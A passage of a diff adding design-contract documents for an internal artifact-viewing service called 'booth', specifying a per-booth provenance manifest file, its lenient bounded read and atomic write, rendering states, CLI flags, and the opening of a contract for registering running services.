same pure `is_held`, and each call's two inputs come from a SINGLE read of
|
||||
`.marks.json` via `hold_read` — never from two reads stitched together, which
|
||||
is a pair that described the booth at no instant. *Falsifiable:* for any booth, what
|
||||
`list_booths` reports as `held` and what `sweep_once` refuses to take agree —
|
||||
tested directly rather than by inspection, because that is the falsifiable form.
|
||||
(`open_marks` is still called directly for the `N open` COUNT. A count is not a
|
||||
lifetime decision, and the first draft of this invariant forbade it by accident
|
||||
— the rule is that no *exemption* and no *held label* is derived except through
|
||||
`is_held`.)
|
||||
|
||||
**INV-4 — A booth that is not counting down says why.** Every non-kept booth
|
||||
renders either a countdown or a named hold on **every surface whose chrome the
|
||||
Booth owns**: the index card, the booth header, and the marks page (which is
|
||||
the only one of the three a verbatim booth has). *Falsifiable:* the templates
|
||||
have no path that renders neither, and the one line is a single macro rather
|
||||
than three conditionals that can drift.
|
||||
|
||||
**INV-5 — Recording a view cannot fail a request.** `record_view` swallows
|
||||
`OSError`. *Falsifiable:* a booth whose directory is read-only still returns 200
|
||||
for its page, its zoom page and its marks page.
|
||||
|
||||
**INV-6 — An unreadable `.marks.json` holds its booth.** The reaper never
|
||||
deletes judgment it could not read. *Falsifiable:* a booth with a corrupt
|
||||
`.marks.json`, aged past the TTL, survives `sweep_once`.
|
||||
|
||||
**INV-7 — Machine reads do not hold a booth open.** `GET /b/<n>/marks.json` and
|
||||
`GET /b/<n>/<file>` do not write `VIEW_MARKER`. *Falsifiable:* polling either,
|
||||
repeatedly, leaves the booth's age untouched.
|
||||
@@ -0,0 +1,405 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.manifest"
|
||||
purpose: "A booth that says what it IS and who posted it. Today the index card shows a name, an item count and a countdown -- nothing about provenance or purpose -- so an agent that wants the operator to look at something has no way to make the booth say so, and posts a URL to the link board instead. That is job 5 (`Announce`), the job nobody named, and its absence is the measured cause of 145 dead link rows (69% of the board pointing at booths that no longer exist). This unit gives job 5 a home: each booth carries `.booth.json` -- `{handle, title, why, created}`, written by the CLI from `$ALTHING_HANDLE` -- and the index card and the booth page header render it. Enforcing the link rule WITHOUT giving job 5 a home first just makes it homeless; this is the home."
|
||||
depends_on:
|
||||
- "booth.items (the dotfile skip in `booth_items` -- `.booth.json` is excluded from tiles, counts and zips by the EXISTING `p.name.startswith('.')` rule at items.py:182, exactly as `.marks.json` is. No new exclusion rule is added or needed. Verified, not assumed: `test_a_manifest_is_not_an_item` asserts it.)"
|
||||
- "booth.marks (the `_write_raw` shape only -- temp file + os.replace, per CLAUDE.md invariant 5. Copied as a pattern, NOT imported: manifest.py must not depend on marks.py, because the CLI imports each module on its own.)"
|
||||
language: "python"
|
||||
complexity: "low"
|
||||
estimated_loc: 150
|
||||
confidence: 0.85
|
||||
used_by:
|
||||
- "booth.app.list_booths (the index card gains `manifest` -- one file read per booth, alongside the `marks_for` read already there)"
|
||||
- "booth.app.booth_view (the booth page header gains the same provenance line; a booth URL handed to the operator lands HERE, not on the index, and job 5 is literally 'operator, look at this')"
|
||||
- "booth.app.upload (a pickup booth announces itself as the Booth's own)"
|
||||
- "scripts/booth (`new` and `add` gain `--why` / `--title`; `link` announces the standing board)"
|
||||
touches:
|
||||
- "booth/manifest.py (new -- the record, the write, the lenient read)"
|
||||
- "booth/app.py (list_booths gains one key; booth_view gains one key; the /upload path writes a manifest. It also adds MANIFEST_FILE to the `used` dedupe set -- CONSISTENCY, not a fix: SR-1 established the collision is unreachable because `safe_upload_name` strips leading dots, which is equally true of the `UPLOAD_MARKER` entry that has sat in that set since before this unit.)"
|
||||
- "booth/templates/_provenance.html (new -- the provenance macro, defined ONCE and called from both index lanes and the booth header. Not in the first draft of this inventory: the implementation added the partial rather than repeating the four-state conditional three times, which is SR-6 plus the blurtoggle lesson, and the inventory lagged the decision.)"
|
||||
- "booth/templates/index.html (the provenance line on both lanes' cards -- kept AND ephemeral, or the kept lane silently keeps the old defect)"
|
||||
- "booth/templates/booth.html (the provenance line in the boothhead, and the h1 renders `title` with the directory name beside it)"
|
||||
- "booth/templates/base.html (the .prov-* CSS)"
|
||||
- "scripts/booth (`new` / `add` flag parse; `link` board announcement; usage string; the header doc block)"
|
||||
- "tests/test_manifest.py (new)"
|
||||
- "tests/test_marks.py (test_stdlib_only's parametrize list gains `manifest`)"
|
||||
assumptions:
|
||||
- "THE MANIFEST IS A DOTFILE, and that is the whole integration story. `booth_items` skips `name.startswith('.')` (items.py:182), `zip_booth` skips it (app.py:351), and the legacy ask scan skips it (marks.py:656). So `.booth.json` costs nothing in item counts, galleries, zips or migration, and needs no new exclusion anywhere. This is the same reason `.marks.json` needed none. Settled -- do not re-derive it."
|
||||
- "WRITING A MANIFEST IS ACTIVITY. `.booth.json` is a dotfile but NOT a `.lock` dotfile, so `_newest_mtime` counts it (app.py:192 excludes only `.<name>.lock`). Creating or re-announcing a booth resets its TTL, which is correct: both are somebody touching it. The lock exemption exists for machinery that a READ path creates; this is a deliberate write."
|
||||
- "THE READ IS LENIENT AND THE FAILURE IS VISIBLE. `list_booths` reads every booth on every index load, so a manifest that cannot be parsed must never raise -- that is the v0.2.2 lesson, learned when a poisoned `.marks.json` returned 500 for `/` and `/healthz` across all 25 booths. `read_manifest` returns None for absent and a `Manifest` carrying `error` for damaged, and the card distinguishes them (`unannounced` vs `unreadable`). Silently treating damaged as absent would hide the one case somebody has to fix."
|
||||
- "THE WRITE IS ATOMIC (CLAUDE.md invariant 5, NOT this unit's INV-5). Temp file + os.replace onto a name no other writer derives, because the CLI writes it in one process while the browser reads it in another -- and because two `booth add` calls on one booth would otherwise share a scratch name, which the atomic-write promise says nothing about: it promises readers never see a partial file, not that writers never race. The pattern is copied from `marks._write_raw` rather than imported: `scripts/booth` imports each module directly under the system python3, and a cross-import between two stdlib-only modules is a second way for INV-1 to break."
|
||||
- "`booth/manifest.py` IS STDLIB-ONLY and joins the CLAUDE.md invariant 1 list. `scripts/booth` imports it through a `python3 -c` heredoc with no venv, exactly as it imports `marks`, `asks` and `links`. `test_stdlib_only` is parametrized and gains `manifest`; that test is the only thing standing between a casual third-party import and `booth new` breaking on every fleet host."
|
||||
- "A MISSING MANIFEST IS NORMAL, NOT AN ERROR. All 26 live booths have none, and `rsync -a ./out/ nh3-dev:booth-data/my-run/` -- the documented path for every host that is not nh3-dev -- never runs the CLI at all, so unannounced booths keep arriving after this lands. The card marks them quietly and nothing refuses to render, expire, zip or sweep."
|
||||
- "THE BOOTH ANNOUNCES ITS OWN BOOTHS rather than exempting them. A pickup booth and the standing link board are created BY the service, so they are written with `handle: booth` -- which is true, not manufactured. The alternative was a pile of exemptions from the unannounced marker; this way there is one rule (a booth with no manifest is unannounced) and no special cases. `handle` therefore names an agent handle OR the service, and the field's docstring says so."
|
||||
- "NOTHING NEW IS ORDERED, so CLAUDE.md invariant 6 (every ordered collection has a stated, deterministic rule) does not bind here -- there is no new collection for it to bind to. The manifest is one flat record per booth. The index keeps its stated rule -- kept lane first, then ephemeral newest-first by `_newest_mtime` -- and U5 does NOT add a second ordering keyed on `created` (operator, 2026-09-22). A what-landed feed ordered by announcement time is a genuinely different surface: it needs its own stated rule, it competes with the existing order for what 'the third one' means, and it has nothing to sort the 26 manifest-less booths by. Parked for v1.1."
|
||||
open_questions:
|
||||
- "Whether `why` should also reach the zip manifest or a `booth ls` column. Both are one-liners over the same record and neither is on the v1 path; deferred rather than designed."
|
||||
---
|
||||
|
||||
# U5 — self-announcing booths
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
The index card is the only thing an agent can put in front of the operator, and
|
||||
it carries no information the agent chose. Name, item count, countdown, a
|
||||
thumbnail. Everything about *why this exists* has to travel some other way.
|
||||
|
||||
So it travelled some other way. `booth link` exists because a session with
|
||||
something to show had no way to make the booth itself say "look at this", and
|
||||
the link board absorbed job 5 until **145 of its 210 rows (69%) pointed at
|
||||
booths that had already been swept**. The rot is not a link-board bug. The board
|
||||
was doing a job it was never shaped for, because the shaped thing did not exist.
|
||||
|
||||
The lesson the measurement carries, and the reason this unit comes before any
|
||||
link-board enforcement: **enforcing the link rule without giving job 5 a home
|
||||
just makes it homeless.**
|
||||
|
||||
## The record
|
||||
|
||||
```python
|
||||
@dataclass(frozen=True)
|
||||
class Manifest:
|
||||
handle: str # an althing handle, or "booth" for one the service made
|
||||
title: str # display name; falls back to the directory name
|
||||
why: str # ONE line: what the operator is looking at and why
|
||||
created: str # ISO-8601 with offset, from the FIRST announcement
|
||||
error: str | None = None # a read-time verdict; never stored
|
||||
```
|
||||
|
||||
`.booth.json` on disk is the same four fields, no `error`.
|
||||
|
||||
**Every field on an error-carrying record has a stated value**, because the
|
||||
templates render the record and a careless fill would re-raise the outage in
|
||||
the renderer: `handle` and `why` and `created` are `""`, `title` is the
|
||||
normalized directory name, and `error` says which of the six refusals fired.
|
||||
`created` being `""` is what makes `write_manifest` treat a damaged prior as
|
||||
having no stamp to preserve (INV-3).
|
||||
|
||||
Caps, all applied at the write and again at the read: `handle` 64, `title` 120,
|
||||
`why` 200, `created` 64. Each is a **display budget**, not a storage limit —
|
||||
they exist because these strings land in a card's sub-line.
|
||||
|
||||
## Signatures
|
||||
|
||||
```python
|
||||
MANIFEST_FILE = ".booth.json"
|
||||
HANDLE_MAX, TITLE_MAX, WHY_MAX = 64, 120, 200
|
||||
|
||||
|
||||
MANIFEST_MAX_BYTES = 64 * 1024
|
||||
QUARANTINE_FILE = ".booth.json.broken"
|
||||
|
||||
|
||||
def read_manifest(booth: Path) -> Manifest | None:
|
||||
"""This booth's announcement, or None if it never made one.
|
||||
|
||||
LENIENT, and never raises. `list_booths` calls this once per booth on every
|
||||
index page load, so a damaged file must cost that booth's provenance and
|
||||
nothing else — the same posture `marks_for` takes, for the reason v0.2.2
|
||||
made expensive: a read that can raise, called in a loop over every booth,
|
||||
is a service-wide outage wearing a single-booth bug's clothes.
|
||||
|
||||
"NEVER RAISES" IS BOUNDED, NOT MERELY CAUGHT. An earlier draft of this
|
||||
contract named a 4 GB file as a tested case and constrained only the RETURN
|
||||
— which is letter-compliant and purpose-defeating: reading four gigabytes
|
||||
per booth per index load recreates the same outage in slow motion. The size
|
||||
is checked by `stat` BEFORE the bytes are touched, and the two exception
|
||||
classes that are neither `OSError` nor `ValueError` — `MemoryError` from a
|
||||
huge document, `RecursionError` from a deeply nested one — are caught as
|
||||
well, so that raising the bound one day cannot quietly re-open the hole.
|
||||
|
||||
REGULAR-FILE FIRST, THEN SIZE — and the order is the whole point. `st_size`
|
||||
is 0 for a FIFO and 0 for a symlink to `/dev/zero`, so both sail under any
|
||||
byte cap and then the read either blocks forever with no EOF or allocates
|
||||
until the kernel intervenes. The bound is what made this reachable: a cap
|
||||
that trusts `st_size` inherits everything `st_size` does not mean. One such
|
||||
file stalls every `GET /` and `/healthz`, with no error and no recovery
|
||||
short of a restart.
|
||||
|
||||
Absent -> None. Present but too large, unreadable, unparseable, not an
|
||||
object, or missing `handle` -> a Manifest carrying `error`, so the card can
|
||||
say `unreadable` rather than quietly showing the same thing as a booth that
|
||||
never announced.
|
||||
"""
|
||||
|
||||
|
||||
def write_manifest(booth: Path, handle: str, *, title: str | None = None,
|
||||
why: str | None = None) -> Manifest:
|
||||
"""Announce a booth. Atomic per CLAUDE.md invariant 5: temp file +
|
||||
os.replace, onto a temp name no other writer will pick.
|
||||
|
||||
OMITTED MEANS UNCHANGED; `""` MEANS CLEAR. `title` and `why` default to
|
||||
None. The ordinary sequence is `booth new x --why "..."` then
|
||||
`booth add x out/*.png`, and while omission meant `""` the second command
|
||||
silently erased the sentence the first one existed to record. The shell
|
||||
carries the distinction by leaving the environment variable UNSET rather
|
||||
than empty.
|
||||
|
||||
Re-announcing PRESERVES the original `created` — `created` is when the
|
||||
booth appeared, and saying something more about it later is not a second
|
||||
appearance. A prior record carrying `error`, or one whose `created` is
|
||||
`""`, is treated as having no stamp to preserve and gets `now()`: a stamp
|
||||
that is silently wrong is worse than one that is silently new.
|
||||
|
||||
A WRITE THAT CHANGES NOTHING IS NOT ACTIVITY and does not touch the file,
|
||||
so it cannot reset the booth's TTL — the rule marks learned in v0.2.0,
|
||||
needed here because `booth link` re-announces the standing board on every
|
||||
single post to it.
|
||||
|
||||
BYTES THAT COULD NOT BE READ ARE KEPT, not replaced. See INV-6.
|
||||
|
||||
A FAILED WRITE LEAVES NOTHING BEHIND. The temp name carries a random suffix
|
||||
so two writers cannot share it — which also means nothing ever overwrites an
|
||||
orphan, and `.booth.json.<hex>.tmp` is not a `.lock`, so `_newest_mtime`
|
||||
counts it and a leak would keep a dead booth alive forever. Cleaned up on
|
||||
every exit path.
|
||||
|
||||
`title` falls back to the directory name, THROUGH the same normalizer the
|
||||
explicit value gets — a directory name may legally carry a newline on POSIX
|
||||
and may run to 255 bytes, and the fallback used to hand either straight
|
||||
into a card's sub-line.
|
||||
|
||||
Every stored string is collapsed to a single line — all runs of whitespace,
|
||||
not only newlines, because a tab or a forty-space indent renders as badly
|
||||
in a sub-line as a newline does — and truncated to its cap.
|
||||
|
||||
An empty `handle` becomes `"booth"` rather than being refused: a manifest
|
||||
naming no handle does not read back at all, and an unreadable file is the
|
||||
worse outcome. Unreachable from the CLI, whose fallback chain always yields
|
||||
something; a direct caller should pass a real one.
|
||||
"""
|
||||
```
|
||||
|
||||
## What renders
|
||||
|
||||
One line, on both surfaces, driven by the same record. The example booth below
|
||||
is the directory `r18-ab`, announced by the handle `booth-dev`:
|
||||
|
||||
| state | the provenance line, on an index card AND on the booth header |
|
||||
|---|---|
|
||||
| announced, with a why | `booth-dev · pick the winning denoiser` |
|
||||
| announced, no why | `booth-dev` |
|
||||
| no manifest | `unannounced` (muted) |
|
||||
| damaged manifest | `unreadable` (muted, warning tint, `title=` carries the reason) |
|
||||
|
||||
**`title` renders too, and on exactly one surface.** An earlier draft stored it,
|
||||
surfaced a `--title` flag for it, and rendered it nowhere — a promise of a
|
||||
display name with no display, caught 4-of-4 and ranked first independently by
|
||||
every arm. It lands on the **booth page heading**, where there is room:
|
||||
`<h1>R18 A/B <span class=h1-slug>r18-ab</span></h1>`. The **index card keeps
|
||||
the directory name alone**, because that is the identity the operator navigates
|
||||
by and refers to positionally, and CLAUDE.md invariant 6 is about exactly that
|
||||
kind of reference surviving a re-render. When `title` equals the directory name
|
||||
— the default — the heading is unchanged from today.
|
||||
|
||||
**Both index lanes get it.** The kept lane renders first and is a separate block
|
||||
in `index.html`; patching only the ephemeral lane would leave the 15 kept booths
|
||||
— the durable, most-looked-at ones — with exactly the defect this closes. This
|
||||
is the `blurtoggle` lesson (three item branches, one macro) applied to two lanes.
|
||||
|
||||
**The booth page header gets it too**, and that is deliberate scope, not creep:
|
||||
a booth URL handed to the operator lands on the booth page, never on the index.
|
||||
Job 5 is "operator, look at this", and the page he actually opens is where the
|
||||
answer has to be.
|
||||
|
||||
## The CLI surface
|
||||
|
||||
Operator decision, 2026-09-22 — flags on the existing verbs, not a second verb:
|
||||
|
||||
```sh
|
||||
booth new r18-ab --why "pick the winning denoiser"
|
||||
booth add r18-ab out/*.png --why "second pass, sharper" --title "R18 A/B"
|
||||
booth new scratch # still legal — handle + created, no why
|
||||
```
|
||||
|
||||
`handle` comes from `$ALTHING_HANDLE`, falling back to `$BOOTH_SOURCE` then
|
||||
`hostname -s` — the same resolution `booth link` already uses for its rows, so
|
||||
provenance means the same thing on the board and on the card.
|
||||
|
||||
**Nothing existing breaks.** A bare `booth new x` / `booth add x f.png` keeps
|
||||
working; the flags are optional and may sit on either side of the file
|
||||
arguments, because a glob is usually last and a flag usually after it and
|
||||
nothing enforces that. The alternative — a separate `booth announce` verb — was
|
||||
rejected because a second step is the step that gets forgotten, which is the
|
||||
69% rot's own mechanism.
|
||||
|
||||
**A bare re-announce does not wipe what the last one said.** On a booth that has
|
||||
never announced, a bare `new`/`add` writes `{handle, created}` with no `why`. On
|
||||
one that HAS, an omitted flag leaves the stored value alone and only a supplied
|
||||
one overwrites — `--why ""` still clears, which is a different intention. This
|
||||
distinction is load-bearing rather than polite: `booth new x --why "…"` followed
|
||||
by `booth add x out/*.png` is the ordinary sequence, and the naive reading
|
||||
erases the sentence on the second command.
|
||||
|
||||
**The handle is the CLI's three-step chain**, not `$ALTHING_HANDLE` alone:
|
||||
`${ALTHING_HANDLE:-${BOOTH_SOURCE:-$(hostname -s)}}`, identical to the one
|
||||
`booth link` already uses for its rows, so provenance means the same thing on
|
||||
the board and on the card. A session with no handle set still announces, as its
|
||||
host.
|
||||
|
||||
## Scope — the blast-radius pass
|
||||
|
||||
Graphify + grep, both run, because neither is sufficient alone (graphify is
|
||||
blind to function-local and DI-injected imports; grep misses transitive reach).
|
||||
|
||||
**Every site that creates a booth directory:**
|
||||
|
||||
| site | gets a manifest? |
|
||||
|---|---|
|
||||
| `scripts/booth new` (line 97) | yes — `$ALTHING_HANDLE` |
|
||||
| `scripts/booth add` (line 103) | yes — `$ALTHING_HANDLE` |
|
||||
| `scripts/booth link` (line 178) | yes — `handle: booth`, the standing board |
|
||||
| `app.upload` (app.py:1087) | yes — `handle: booth`, a pickup booth |
|
||||
| `marks._Locked.__enter__` (marks.py:267) | **no** — `mkdir(exist_ok=True)` on the write path; a mark written to a booth that does not exist is not an announcement, and manifest.py must not be imported by marks.py (INV-1 cross-import) |
|
||||
| `rsync` from another host | **no** — no CLI runs; this is why `unannounced` exists |
|
||||
|
||||
**Every reader of a booth's facts:** `list_booths` (app.py:251) and `booth_view`
|
||||
— confirmed by `graphify explain list_booths` (15 edges, 4 test consumers) and
|
||||
by grep for `data_dir.iterdir` (two sites, both in app.py, both enumerating
|
||||
booths for exactly these two surfaces).
|
||||
|
||||
**Sites that already exclude the new file and need no change**, each verified
|
||||
rather than assumed: `items.booth_items` (items.py:182), `app.zip_booth`
|
||||
(app.py:351), `marks.import_legacy_asks` (marks.py:656).
|
||||
|
||||
**One site the first draft of this contract got WRONG, corrected by the seam
|
||||
review** (SR-1, below): the upload path's `used: set = {UPLOAD_MARKER}` filename
|
||||
dedupe set does **not** need to gain `MANIFEST_FILE`. The implementation adds it
|
||||
anyway, as consistency with the equally-unreachable entry already there, and
|
||||
says so in a comment rather than claiming it prevents anything.
|
||||
|
||||
⚠ **Line numbers in this section are the PRE-CHANGE coordinates** the
|
||||
blast-radius pass was run against, kept because that is what makes the pass
|
||||
auditable. They have moved; `grep` the symbol, do not trust the number.
|
||||
|
||||
## Seam review — what the real sibling surfaces said
|
||||
|
||||
Caller-side pass against the actual modules, not against their prose. Run after
|
||||
the cold contract panel was dispatched and before any code.
|
||||
|
||||
**SR-1 — the upload-collision change is unnecessary, and so is the one already
|
||||
there.** `safe_upload_name` (app.py) does `base = base.lstrip(".")` with the
|
||||
comment "a leading dot would hide the file from every listing", so an uploaded
|
||||
file can never be named `.booth.json` — or `.uploaded`, which means the existing
|
||||
`UPLOAD_MARKER` entry in that set has never been able to matter either. Adding
|
||||
`MANIFEST_FILE` alongside it is consistency with a redundant guard, not a fix
|
||||
for a reachable collision. Do it or don't; what the contract may not do is claim
|
||||
it prevents something. **This is the exact class the seam review exists for: a
|
||||
scope item the contract asserted from its own reasoning and the sibling's real
|
||||
surface refutes.**
|
||||
|
||||
**SR-2 — the atomic-write pattern transfers cleanly to a dotfile, verified not
|
||||
assumed.** `marks._write_raw` derives its temp name as
|
||||
`path.with_suffix(path.suffix + ".tmp")`. For a dotfile with an extension that
|
||||
is not obviously safe — `Path(".booth.json").stem` is `".booth"`, which looks
|
||||
alarming — but `.suffix` is `".json"` and the result is `.booth.json.tmp`.
|
||||
Checked against the interpreter. The temp file is itself a dotfile, so
|
||||
`booth_items` and `zip_booth` skip it and no reader can see it mid-write.
|
||||
|
||||
**SR-3 — the dotfile skips are on `p.name`, and all three use `rglob` or
|
||||
`iterdir` over the booth.** `items.booth_items` (items.py:182), `app.zip_booth`
|
||||
(app.py:351) and `marks.import_legacy_asks` (marks.py:656) each test
|
||||
`p.name.startswith(".")`. A manifest at the booth root is skipped by every one
|
||||
of them. Confirmed by reading the three loops, not by trusting the claim.
|
||||
|
||||
**SR-4 — `test_stdlib_only` is parametrized `["marks", "asks", "links"]`**
|
||||
(tests/test_marks.py:279) and gains `"manifest"` as a fourth entry. The test's
|
||||
docstring calls this INV-5 while `CLAUDE.md` calls it invariant 1; that
|
||||
inconsistency predates this unit and is left alone.
|
||||
|
||||
**SR-5 — `.booth.json` is reachable over HTTP at `/b/<name>/.booth.json`.**
|
||||
`booth_file` refuses only path escapes and non-files, not dotfiles, so a remote
|
||||
session with no filesystem access can read a booth's announcement the same way
|
||||
it already polls `/b/<n>/marks.json`. That is a feature and it is now written
|
||||
down; there is no secret in a manifest, and the Booth has no auth by design.
|
||||
|
||||
**SR-6 — `list_booths` returns plain dicts and the templates read them by key.**
|
||||
`b.manifest` resolves through Jinja's getitem fallback. A None manifest must be
|
||||
guarded with an explicit `{% if %}` rather than relying on `b.manifest.handle`
|
||||
rendering as Undefined, because the two lanes' cards differ and a silent
|
||||
Undefined in one of them is how the kept lane would quietly keep the old defect.
|
||||
|
||||
## Out of scope
|
||||
|
||||
Deliberately deferred or never. Divergence here is not drift.
|
||||
|
||||
- **A second index ordering keyed on `created`** — a "what landed" feed. Operator
|
||||
decision, 2026-09-22: parked for v1.1. It is a new ordered collection needing
|
||||
its own stated rule, it competes with the existing order for what "the third
|
||||
one" means, and it has nothing to sort the 26 manifest-less booths by.
|
||||
- **`why` in the zip manifest, or a `booth ls` column.** One-liners over the
|
||||
same record, neither on the v1 path.
|
||||
- **Enforcing that a booth MUST announce itself.** `rsync` is the documented
|
||||
path for every host that is not nh3-dev and never runs the CLI, so a refusal
|
||||
would break the documented workflow. The marker is the whole mechanism.
|
||||
- **Deleting, expiring or migrating anything based on the manifest.** U4 owns
|
||||
lifetime; this unit only describes.
|
||||
- **Any change to how items, marks, blur, keep or the link board work.** The
|
||||
manifest is a dotfile and every existing listing already skips it.
|
||||
- **Auth, or treating a manifest as trusted.** Standing non-goal; the Booth is
|
||||
LAN-internal and a hand-written `.booth.json` is a supported input.
|
||||
- **Provenance ON a verbatim-`index.html` booth's own page.** Five live booths
|
||||
serve the author's HTML raw, and the Booth owns no header there to put a line
|
||||
into — it currently reaches those pages through six regexes injected into
|
||||
arbitrary markup, which is precisely the defect U3 exists to fix. Their INDEX
|
||||
cards carry provenance like everything else; the page itself waits for U3's
|
||||
declared embed seam. Verified on `pewpew-ui-brief`: page renders 200, card
|
||||
reads `unannounced`.
|
||||
|
||||
## Invariants
|
||||
|
||||
Numbered INV-1..5 and local to this unit. Where a repo-wide rule is meant it is
|
||||
named in words — "CLAUDE.md invariant 5", "CLAUDE.md invariant 6" — never by a
|
||||
bare number, because an earlier draft used `INV-5` for both the repo's
|
||||
atomic-write rule and this unit's render rule and the collision was caught
|
||||
3-of-4.
|
||||
|
||||
**INV-1 — one module knows the filename.** `booth/manifest.py` is the only
|
||||
module that names `MANIFEST_FILE`. No route body, template or CLI verb opens or
|
||||
parses `.booth.json`; `write_manifest` reads it back inside that module, which
|
||||
is what INV-3 requires and is not an exception to this rule. Falsifiable and
|
||||
tested: no other file under `booth/` contains the literal `.booth.json`.
|
||||
|
||||
**INV-2 — the read cannot raise, AND cannot cost the caller unboundedly.**
|
||||
`read_manifest` returns for every input: an absent directory, a `.booth.json`
|
||||
that is a list, a string, `null`, empty, not UTF-8, wrong-typed, missing its
|
||||
handle, nested deeply enough to overflow the parser's stack, and one larger
|
||||
than `MANIFEST_MAX_BYTES` — which is refused by `stat` before a byte is read,
|
||||
because a bound that only constrains the RETURN recreates the outage in slow
|
||||
motion. Tested per case, the size and depth cases included.
|
||||
|
||||
**INV-3 — `created` survives re-announcement.** A second `write_manifest` on the
|
||||
same booth preserves the first `created`. A prior record carrying `error`, or
|
||||
one whose `created` is `""`, has no stamp to preserve and gets `now()`. Tested
|
||||
against a stamp that could not have come from `now()` — `_now()` is whole-second
|
||||
resolution, so back-to-back writes share a timestamp and a naive test passes
|
||||
against an implementation that regenerates it every time.
|
||||
|
||||
**INV-4 — stdlib-only, and sibling-free** (this is CLAUDE.md invariant 1
|
||||
extended by one clause). `booth/manifest.py` imports nothing outside the
|
||||
standard library and nothing from `booth.*` — a cross-import between two
|
||||
stdlib-only modules is a second way for the repo rule to break. Relative
|
||||
imports count; the AST walk sees them.
|
||||
|
||||
**INV-6 — bytes that could not be read are never destroyed.** When
|
||||
`write_manifest` replaces a manifest whose read returned `error`, the old bytes
|
||||
move to `QUARANTINE_FILE` first. This is the doctrine marks made explicit in
|
||||
v0.2.1 — reads lenient, writes strict, damaged bytes stay on disk — and this
|
||||
unit contradicted it by replacing outright, so a file that failed on ONE field
|
||||
lost the others with it, including a `why` the re-announcer may never have kept
|
||||
anywhere.
|
||||
|
||||
It diverges from marks in HOW it honours the rule, and the divergence is the
|
||||
interesting part. Marks REFUSE the write and answer 409, because the operator's
|
||||
judgment is not restatable. A manifest QUARANTINES and proceeds, because
|
||||
refusing would fail `booth add` and lose the files it was mid-way through
|
||||
copying — and a booth's own description is something its poster can say again.
|
||||
One fixed quarantine name rather than a timestamped series: nothing prunes a
|
||||
booth but the sweep, and the most recent damage is the only copy anyone opens.
|
||||
|
||||
**INV-5 — unannounced and unreadable render DIFFERENT TEXT.** Not merely
|
||||
different styling: the words differ (`unannounced` / `unreadable`), so the
|
||||
distinction survives a stylesheet change and a reader who cannot see colour. A
|
||||
one-pixel difference would satisfy a looser wording and encode nothing, and the
|
||||
point is that one of the two states is something somebody has to go and fix.
|
||||
@@ -0,0 +1,581 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.benches"
|
||||
purpose: "A bench is a running thing, registered -- not a booth, and not a bookmark. The standing link board absorbed all three jobs because only one of them had a surface, and it now carries 221 rows of which 178 (80%) are booth announcements and 156 (71% of the whole board) point at booths that were swept. U5 gave the booth announcement a home; this unit gives the RUNNING SERVICE one, and closes the loop by refusing the one shape that now has somewhere better to go. Identity is the normalized URL, so re-announcing a bench UPDATES its row instead of appending a fifth -- `talk` is on the board five times and Peedlar's root three. Nothing on the board is deleted by this unit: the dead rows are MARKED so the operator can see and remove them with the bulk control that already exists."
|
||||
depends_on:
|
||||
- "booth.links (`booth_target` is DEFINED here and consumed there -- see INV-2. The board's existing parse/remove/pin machinery is untouched: rows keep their content-hash identity, `links.md` stays an O_APPEND multi-writer log, and no row is rewritten by anything this unit adds.)"
|
||||
- "booth.app (the dead-row marker needs a booth-exists predicate. IT CANNOT USE `resolve_booth`: that is a CLOSURE inside `create_app`, not importable, and it RAISES HTTPException(404) -- calling it per row would turn one swept booth into a 404 for the whole board page, which is the opposite of the marker's purpose. The marker gets its own non-raising predicate carrying the SAME name-safety rules (no leading dot, no separator, no `..`) and returning False where `resolve_booth` raises. A row is dead when its target directory is absent, not when its target is nearly expired -- no new lifetime arithmetic. Verified against the real function, not assumed: seam review SR-2.)"
|
||||
language: "python"
|
||||
complexity: "medium"
|
||||
estimated_loc: 320
|
||||
confidence: 0.80
|
||||
used_by:
|
||||
- "scripts/booth (`bench add|ls|state|rm|import` are new; `link` gains ONE refusal and is otherwise unchanged)"
|
||||
- "booth.app.booth_view (the board's rows gain a `dead` stamp; the benches panel renders on the standing board's page)"
|
||||
- "booth.app.list_booths (unchanged -- named here because it was checked and does NOT need to change: benches live outside the booth namespace and are invisible to it)"
|
||||
touches:
|
||||
- "booth/benches.py (new -- the record, normalization, the lenient read, the atomic upsert, the stated order)"
|
||||
- "booth/links.py (ONE new function, `booth_target`. No existing function changes.)"
|
||||
- "booth/app.py (`_board_rows` stamps `dead`; the booth view passes `benches`; three POST routes for add/state/remove)"
|
||||
- "booth/templates/booth.html (the benches panel; the dead-row marker on a board row)"
|
||||
- "booth/templates/base.html (the .bench-* and .board-dead CSS)"
|
||||
- "scripts/booth (the five bench verbs, the link refusal, the usage block, the header doc block)"
|
||||
- "tests/test_benches.py (new)"
|
||||
- "tests/test_cli.py (the bench verbs and the refusal, run against the real script under system python3)"
|
||||
- "tests/test_marks.py (test_stdlib_only's parametrize list gains `benches`)"
|
||||
- "docs/design/information-architecture.md (two corrections the measurement forces -- see 'What the measurement changed')"
|
||||
- "ROADMAP.md (the bench listing order rule, which was one of the two undecided rows in the deterministic-order table)"
|
||||
assumptions:
|
||||
- "IDENTITY IS THE FULL NORMALIZED URL, NOT THE ORIGIN, AND THIS WAS MEASURED RATHER THAN CHOSEN. Collapsing the board's 43 non-booth rows by origin yields 19 groups; by full URL, 35. The 16-group difference is not duplication -- it is EIGHT distinct gitea repositories merged into one row, THREE unrelated HuggingFace model cards merged into one, and the two LRPG surfaces on `10.100.10.50:8321` (`Authoring Studio.dc.html` and `GM Playback.dc.html`) merged into one, which are the IA doc's own example of two real benches. Origin identity would have destroyed more than it deduplicated. Full-URL identity still collapses both cases the IA doc named: `talk` 5 rows to 1, Peedlar's root 3 to 1."
|
||||
- "THE QUERY STRING IS PART OF THE IDENTITY, the fragment is not. Measured: three ShutterChute rows differ ONLY by `?token=`, and they are three genuinely different one-shot links, not one bench posted three times -- dropping the query would merge them into a bench that is none of them. A fragment is a position inside a page, never a different resource, so it is dropped. Userinfo (`user:pass@`) is REFUSED rather than stripped: a credential must not reach a board that renders on an unauthenticated LAN surface, and silently stripping it would register a bench whose URL no longer works while telling the poster it succeeded."
|
||||
